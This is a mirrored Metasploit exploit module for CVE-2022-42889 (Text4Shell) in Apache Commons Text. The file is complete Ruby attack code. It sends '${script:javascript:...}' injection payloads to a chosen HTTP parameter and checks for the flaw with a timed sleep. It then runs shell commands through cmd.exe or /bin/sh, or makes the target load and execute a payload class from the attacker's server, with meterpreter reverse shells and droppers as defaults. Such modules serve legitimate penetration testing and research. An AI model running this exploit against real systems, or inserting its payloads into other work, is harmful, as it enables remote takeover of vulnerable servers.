Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_commons_text4shell.rb
31733 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Commons Text RCE',
18
'Description' => %q{
19
This exploit takes advantage of the StringSubstitutor interpolator class,
20
which is included in the Commons Text library. A default interpolator
21
allows for string lookups that can lead to Remote Code Execution. This
22
is due to a logic flaw that makes the "script", "dns" and "url" lookup
23
keys interpolated by default, as opposed to what it should be, according
24
to the documentation of the StringLookupFactory class. Those keys allow
25
an attacker to execute arbitrary code via lookups primarily using the
26
"script" key.
27
28
In order to exploit the vulnerabilities, the following requirements must
29
be met:
30
31
Run a version of Apache Commons Text from version 1.5 to 1.9
32
Use the StringSubstitutor interpolator
33
Target should run JDK < 15
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Alvaro Muñoz', # Original research
38
'Karthik UJ', # PoC
39
'Gaurav Jain', # Metasploit module
40
],
41
'References' => [
42
['CVE', '2022-42889'],
43
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
44
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
45
],
46
'Targets' => [
47
[
48
'Java (in-memory)',
49
{
50
'Type' => :java,
51
'Platform' => 'java',
52
'Arch' => ARCH_JAVA,
53
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
54
},
55
],
56
[
57
'Windows EXE Dropper',
58
{
59
'Platform' => 'win',
60
'Arch' => [ARCH_X86, ARCH_X64],
61
'Type' => :windows_dropper,
62
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
63
}
64
],
65
[
66
'Windows Command',
67
{
68
'Platform' => 'win',
69
'Arch' => ARCH_CMD,
70
'Type' => :windows_cmd,
71
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
72
}
73
],
74
[
75
'Unix Command',
76
{
77
'Platform' => 'unix',
78
'Arch' => ARCH_CMD,
79
'Type' => :unix_cmd,
80
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
81
}
82
],
83
[
84
'Linux Dropper',
85
{
86
'Platform' => 'linux',
87
'Arch' => [ARCH_X86, ARCH_X64],
88
'Type' => :linux_dropper,
89
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
90
}
91
]
92
],
93
'Privileged' => false,
94
'DisclosureDate' => '2022-10-13',
95
'DefaultTarget' => 0,
96
'Notes' => {
97
'Stability' => [CRASH_SAFE],
98
'Reliability' => [REPEATABLE_SESSION],
99
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
100
}
101
)
102
)
103
register_options([
104
OptString.new('TARGETURI', [ true, 'The target URI', '/']),
105
OptString.new('PARAM', [ true, 'The vulnerable parameter']),
106
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
107
])
108
end
109
110
def check
111
vprint_status("Checking if #{peer} can be exploited.")
112
res = send_exp
113
return CheckCode::Unknown('No response received from target.') unless res
114
115
# blind command injection using sleep command
116
sleep_time = rand(4..8)
117
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
118
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
119
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
120
end
121
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
122
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
123
124
CheckCode::Vulnerable('Successfully tested command injection.')
125
end
126
127
def exploit
128
case target['Type']
129
when :java
130
# Start the HTTP server to serve the payload
131
java_class_loader_start_service
132
# Trigger a loadClass request via java.net.URLClassLoader
133
trigger_urlclassloader
134
# Handle the payload
135
handler
136
when :windows_cmd, :unix_cmd
137
execute_command(payload.encoded)
138
when :windows_dropper, :linux_dropper
139
execute_cmdstager
140
end
141
end
142
143
def trigger_urlclassloader
144
url = get_uri
145
146
vars = Rex::RandomIdentifier::Generator.new
147
148
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
149
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
150
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"
151
152
res = send_exp(exp)
153
154
fail_with(Failure::Unreachable, 'No response received from the target') unless res
155
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
156
end
157
158
def execute_command(cmd, _opts = {})
159
vars = Rex::RandomIdentifier::Generator.new
160
161
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
162
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"
163
164
res = send_exp(exp)
165
166
fail_with(Failure::Unreachable, 'No response received from the target') unless res
167
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
168
end
169
170
def send_exp(exp = '')
171
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
172
send_request_cgi(
173
'method' => datastore['METHOD'],
174
'uri' => normalize_uri(target_uri.path),
175
176
vars => {
177
datastore['PARAM'] => "${script:javascript:#{exp}}"
178
}
179
)
180
end
181
182
def win_target?
183
target['Platform'] == 'win'
184
end
185
186
def on_request_uri(cli, request)
187
case target['Type']
188
when :java
189
# Call method to handle java payload staging
190
super(cli, request)
191
else
192
# Handle win/unix cmd staging
193
client = cli.peerhost
194
print_status("Client #{client} requested #{request.uri}")
195
print_status("Sending payload to #{client}")
196
send_response(cli, exe)
197
end
198
end
199
end
200
201